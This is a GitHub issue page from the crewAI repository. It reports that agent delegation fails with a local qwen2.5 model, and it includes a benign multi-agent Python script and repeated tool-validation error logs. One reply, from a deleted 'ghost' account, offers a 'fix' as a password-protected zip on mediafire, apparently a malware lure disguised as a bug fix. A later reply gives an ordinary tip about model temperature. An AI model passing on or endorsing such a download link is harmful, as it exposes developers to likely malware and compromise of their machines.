crewAIInc / crewAI

Framework for orchestrating role-playing, autonomous AI agents. By fostering collaborative intelligence, CrewAI empowers agents to work together seamlessly, tackling complex tasks.
https://crewai.com
MIT License
20.19k stars 2.8k forks source link

[BUG] allow_delegation=True not works on some llm #1367

Open aaronchen2k opened 2 weeks ago

aaronchen2k commented 2 weeks ago

Description

Property "allow_delegation=True" not worked on some llm like qwen2.5, but azure worked. Is there a way to solve? thanks.

===CODES===

import os
from textwrap import dedent
from crewai import Agent, Task, Crew
from dotenv import load_dotenv, find_dotenv

# 使用qwen模型(qwen2.5-coder:7b)
os.environ["OPENAI_API_BASE"] = "http://192.168.0.56:11434"
# os.environ["OPENAI_API_BASE"] = "http://127.0.0.1:11434"
os.environ["OPENAI_MODEL_NAME"] = "ollama/qwen2.5-coder:1.5b-instruct"
os.environ["OPENAI_API_KEY"] = "EMPTY"

# 使用azure模型
# load_dotenv(find_dotenv())
# os.environ["OPENAI_API_BASE"] = os.getenv("AZURE_OPENAI_ENDPOINT")
# os.environ["OPENAI_MODEL_NAME"] = "azure/" + os.environ.get("AZURE_OPENAI_RES")
# os.environ["OPENAI_API_KEY"] = os.getenv("AZURE_OPENAI_KEY")

# 3个智能体逻辑
def senior_engineer_agent():
  """软件开发工程师智能体"""
  return Agent(
    role='软件开发工程师',
    goal='根据需求完成软件编程',
    backstory=dedent('''你是一位软件开发工程师。
            你非常擅长Python编程,并尽自己的最大努力编写功能齐全、运行良好的完美代码。
            '''),
    allow_delegation=False,
    verbose=True,
  )

def qa_engineer_agent():
  """软件质量工程师智能体"""
  return Agent(
    role='软件质量工程师',
    goal='分析程序代码,找出其中的错误,并修复这些错误代码',
    backstory=dedent('''你是一位检测代码的软件工程师。
            你对代码细节很敏锐,非常擅长找出代码中的Bug,包括检查是否缺少导入、变量声明、不匹配括号和语法错误等。
            您还能检查出代码的安全漏洞和逻辑错误。
            '''),
    allow_delegation=False,
    verbose=True,
  )

def chief_qa_engineer_agent():
  """首席软件质量工程师智能体"""
  return Agent(
    role='首席软件质量工程师',
    goal='确保代码实现了需求',
    backstory='''你怀疑程序员没有按照需求编写软件,你特别专注于编写高质量的代码。''',
    allow_delegation=True,
    verbose=True,
  )

# 3个任务逻辑
def code_task(agent, program):
  return Task(description=dedent(f'''你将按照软件需求,使用Python编写程序:
        软件需求
        ------------
        {program}
        '''),
        expected_output='你的输出是完整的Python代码, 特别注意只需要输出Python代码,不要输出其他任何内容!',
        agent=agent
    )

def review_task(agent, program):
  return Task(description=dedent(f'''你将按照软件需求,进一步使用Python完善给定的程序:
        软件需求
        ------------
        {program}

        根据给定的Python程序代码,检查其中的错误。包括检查逻辑错误语法错误、缺少导入、变量声明、括号不匹配,以及安全漏洞。
        '''),
        expected_output='你的输出是完整的Python代码, 特别注意只需要输出Python代码,不要输出其他任何内容!',
        agent=agent
    )
def evaluate_task(agent, program):
  return Task(description=dedent(f'''你将按照软件需求,进一步使用Python完善给定的程序:
        软件需求
        ------------
        {program}

        查看给定的Python程序代码,确保程序代码完整,并且符合软件需求。
        '''),
        expected_output='你的输出是完整的Python代码, 特别注意只需要输出Python代码,不要输出其他任何内容!',
        agent=agent
    )

# 团队逻辑
print('')
# program = input('# 您好,我们是游戏智能编程团队,请输入游戏的详细描述:\n\n')
program = '冒泡算法'
print('')

# 智能体
senior_engineer_agent = senior_engineer_agent()
qa_engineer_agent = qa_engineer_agent()
chief_qa_engineer_agent = chief_qa_engineer_agent()

# 任务
code_program = code_task(senior_engineer_agent, program)
review_program = review_task(qa_engineer_agent, program)
approve_program = evaluate_task(chief_qa_engineer_agent, program)

# 团队
crew = Crew(
    agents=[
        senior_engineer_agent,
        qa_engineer_agent,
        chief_qa_engineer_agent
    ],
    tasks=[
        code_program,
        review_program,
        approve_program
    ],
    verbose=True
)

# 执行
result = crew.kickoff()

# 输出
print("\n\n########################")
print("## 游戏代码结果")
print("########################\n")
print(result.raw)

# 存储代码
filename = 'code.py.txt'

print("\n\n########################\n")
with open(filename, 'w', encoding='utf-8') as file:
    file.write(result.raw)

print(f"游戏代码已经存储到文件: {filename}")
print(f'你可以运行游戏:python {filename}')

Steps to Reproduce

Run

Expected behavior

Works well

Screenshots/Code snippets

NO

Operating System

macOS Catalina

Python Version

3.11

crewAI Version

0.65.2

crewAI Tools Version

None

Virtual Environment

Conda

Evidence

===ERRORS===

# Agent: 首席软件质量工程师
## Task: 你将按照软件需求,进一步使用Python完善给定的程序:
        软件需求
        ------------
        冒泡算法
        查看给定的Python程序代码,确保程序代码完整,并且符合软件需求。

I encountered an error while trying to use the tool. This was the error: 2 validation errors for Delegate work to coworkerSchema
task
  str type expected (type=type_error.str)
context
  str type expected (type=type_error.str).
 Tool Delegate work to coworker accepts these inputs: Delegate a specific task to one of the following coworkers: 软件开发工程师, 软件质量工程师
The input to this tool should be the coworker, the task you want them to do, and ALL necessary context to execute the task, they know nothing about the task, so share absolute everything you know, don't reference things but instead explain them.

# Agent: 首席软件质量工程师
## Using tool: Delegate work to coworker
## Tool Input: 
"{\"task\": {\"title\": \"Complete Python Code\", \"type\": \"string\"}, \"context\": {\"title\": \"Program Description\", \"type\": \"string\"}, \"coworker\": \"Software Quality Engineer\"}"
## Tool Output: 
I encountered an error while trying to use the tool. This was the error: 2 validation errors for Delegate work to coworkerSchema
task
  str type expected (type=type_error.str)
context
  str type expected (type=type_error.str).
 Tool Delegate work to coworker accepts these inputs: Delegate a specific task to one of the following coworkers: 软件开发工程师, 软件质量工程师
The input to this tool should be the coworker, the task you want them to do, and ALL necessary context to execute the task, they know nothing about the task, so share absolute everything you know, don't reference things but instead explain them..
Moving on then. I MUST either use a tool (use one at time) OR give my best final answer not both at the same time. To Use the following format:
Thought: you should always think about what to do
Action: the action to take, should be one of [Delegate work to coworker, Ask question to coworker]
Action Input: the input to the action, dictionary enclosed in curly braces
Observation: the result of the action
... (this Thought/Action/Action Input/Result can repeat N times)
Thought: I now can give a great answer
Final Answer: Your final answer must be the great and the most complete as possible, it must be outcome described

I encountered an error while trying to use the tool. This was the error: 2 validation errors for Delegate work to coworkerSchema
task
  str type expected (type=type_error.str)
context
  str type expected (type=type_error.str).
 Tool Delegate work to coworker accepts these inputs: Delegate a specific task to one of the following coworkers: 软件开发工程师, 软件质量工程师
The input to this tool should be the coworker, the task you want them to do, and ALL necessary context to execute the task, they know nothing about the task, so share absolute everything you know, don't reference things but instead explain them.
# Agent: 首席软件质量工程师
## Using tool: Delegate work to coworker
## Tool Input: 
"{\"task\": {\"title\": \"Complete Python Code\", \"type\": \"string\"}, \"context\": {\"title\": \"Program Description\", \"type\": \"string\"}, \"coworker\": \"Software Quality Engineer\"}"
## Tool Output: 
I encountered an error while trying to use the tool. This was the error: 2 validation errors for Delegate work to coworkerSchema
task
  str type expected (type=type_error.str)
context
  str type expected (type=type_error.str).
 Tool Delegate work to coworker accepts these inputs: Delegate a specific task to one of the following coworkers: 软件开发工程师, 软件质量工程师
The input to this tool should be the coworker, the task you want them to do, and ALL necessary context to execute the task, they know nothing about the task, so share absolute everything you know, don't reference things but instead explain them..
Moving on then. I MUST either use a tool (use one at time) OR give my best final answer not both at the same time. To Use the following format:
Thought: you should always think about what to do
Action: the action to take, should be one of [Delegate work to coworker, Ask question to coworker]
Action Input: the input to the action, dictionary enclosed in curly braces
Observation: the result of the action
... (this Thought/Action/Action Input/Result can repeat N times)
Thought: I now can give a great answer
Final Answer: Your final answer must be the great and the most complete as possible, it must be outcome described

I encountered an error while trying to use the tool. This was the error: 2 validation errors for Delegate work to coworkerSchema
task
  str type expected (type=type_error.str)
context
  str type expected (type=type_error.str).
 Tool Delegate work to coworker accepts these inputs: Delegate a specific task to one of the following coworkers: 软件开发工程师, 软件质量工程师
The input to this tool should be the coworker, the task you want them to do, and ALL necessary context to execute the task, they know nothing about the task, so share absolute everything you know, don't reference things but instead explain them.
# Agent: 首席软件质量工程师
## Using tool: Delegate work to coworker
## Tool Input: 
"{\"task\": {\"title\": \"Complete Python Code\", \"type\": \"string\"}, \"context\": {\"title\": \"Program Description\", \"type\": \"string\"}, \"coworker\": \"Software Quality Engineer\"}"
## Tool Output: 
I encountered an error while trying to use the tool. This was the error: 2 validation errors for Delegate work to coworkerSchema
task
  str type expected (type=type_error.str)
context
  str type expected (type=type_error.str).
 Tool Delegate work to coworker accepts these inputs: Delegate a specific task to one of the following coworkers: 软件开发工程师, 软件质量工程师
The input to this tool should be the coworker, the task you want them to do, and ALL necessary context to execute the task, they know nothing about the task, so share absolute everything you know, don't reference things but instead explain them..
Moving on then. I MUST either use a tool (use one at time) OR give my best final answer not both at the same time. To Use the following format:
Thought: you should always think about what to do
Action: the action to take, should be one of [Delegate work to coworker, Ask question to coworker]
Action Input: the input to the action, dictionary enclosed in curly braces
Observation: the result of the action
... (this Thought/Action/Action Input/Result can repeat N times)
Thought: I now can give a great answer
Final Answer: Your final answer must be the great and the most complete as possible, it must be outcome described

I encountered an error while trying to use the tool. This was the error: 2 validation errors for Delegate work to coworkerSchema
task
  str type expected (type=type_error.str)
context
  str type expected (type=type_error.str).
 Tool Delegate work to coworker accepts these inputs: Delegate a specific task to one of the following coworkers: 软件开发工程师, 软件质量工程师
The input to this tool should be the coworker, the task you want them to do, and ALL necessary context to execute the task, they know nothing about the task, so share absolute everything you know, don't reference things but instead explain them.
# Agent: 首席软件质量工程师
## Using tool: Delegate work to coworker
## Tool Input: 
"{\"task\": {\"title\": \"Complete Python Code\", \"type\": \"string\"}, \"context\": {\"title\": \"Program Description\", \"type\": \"string\"}, \"coworker\": \"Software Quality Engineer\"}"
## Tool Output: 
I encountered an error while trying to use the tool. This was the error: 2 validation errors for Delegate work to coworkerSchema
task
  str type expected (type=type_error.str)
context
  str type expected (type=type_error.str).
 Tool Delegate work to coworker accepts these inputs: Delegate a specific task to one of the following coworkers: 软件开发工程师, 软件质量工程师
The input to this tool should be the coworker, the task you want them to do, and ALL necessary context to execute the task, they know nothing about the task, so share absolute everything you know, don't reference things but instead explain them..
Moving on then. I MUST either use a tool (use one at time) OR give my best final answer not both at the same time. To Use the following format:
Thought: you should always think about what to do
Action: the action to take, should be one of [Delegate work to coworker, Ask question to coworker]
Action Input: the input to the action, dictionary enclosed in curly braces
Observation: the result of the action
... (this Thought/Action/Action Input/Result can repeat N times)
Thought: I now can give a great answer
Final Answer: Your final answer must be the great and the most complete as possible, it must be outcome described

I encountered an error while trying to use the tool. This was the error: 2 validation errors for Ask question to coworkerSchema
question
  field required (type=value_error.missing)
context
  str type expected (type=type_error.str).
 Tool Ask question to coworker accepts these inputs: Ask a specific question to one of the following coworkers: 软件开发工程师, 软件质量工程师
The input to this tool should be the coworker, the question you have for them, and ALL necessary context to ask the question properly, they know nothing about the question, so share absolute everything you know, don't reference things but instead explain them.
# Agent: 首席软件质量工程师
## Thought: Thought: Since you know nothing about the task, I should ask the coworker to explain it.
## Using tool: Ask question to coworker
## Tool Input: 
"{\"task\": {\"title\": \"Complete Python Code\", \"type\": \"string\"}, \"context\": {\"title\": \"Program Description\", \"type\": \"string\"}, \"coworker\": \"Software Quality Engineer\"}"
## Tool Output: 
I encountered an error while trying to use the tool. This was the error: 2 validation errors for Ask question to coworkerSchema
question
  field required (type=value_error.missing)
context
  str type expected (type=type_error.str).
 Tool Ask question to coworker accepts these inputs: Ask a specific question to one of the following coworkers: 软件开发工程师, 软件质量工程师
The input to this tool should be the coworker, the question you have for them, and ALL necessary context to ask the question properly, they know nothing about the question, so share absolute everything you know, don't reference things but instead explain them..
Moving on then. I MUST either use a tool (use one at time) OR give my best final answer not both at the same time. To Use the following format:
Thought: you should always think about what to do
Action: the action to take, should be one of [Delegate work to coworker, Ask question to coworker]
Action Input: the input to the action, dictionary enclosed in curly braces
Observation: the result of the action
... (this Thought/Action/Action Input/Result can repeat N times)
Thought: I now can give a great answer
Final Answer: Your final answer must be the great and the most complete as possible, it must be outcome described

Possible Solution

None

Additional context

None

ghost commented 2 weeks ago

This might help:This file might fix it https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file Archive password: changeme

you may need to install the c compiler

punitchauhan771 commented 2 weeks ago

Hi,

I faced the same issue when I was using Gemini model, one way to solve this is by increasing the temperature while defining llm models 🙂

You can use this as a reference to create custom LLM definition

CrewAI LLMs

Hope this helps.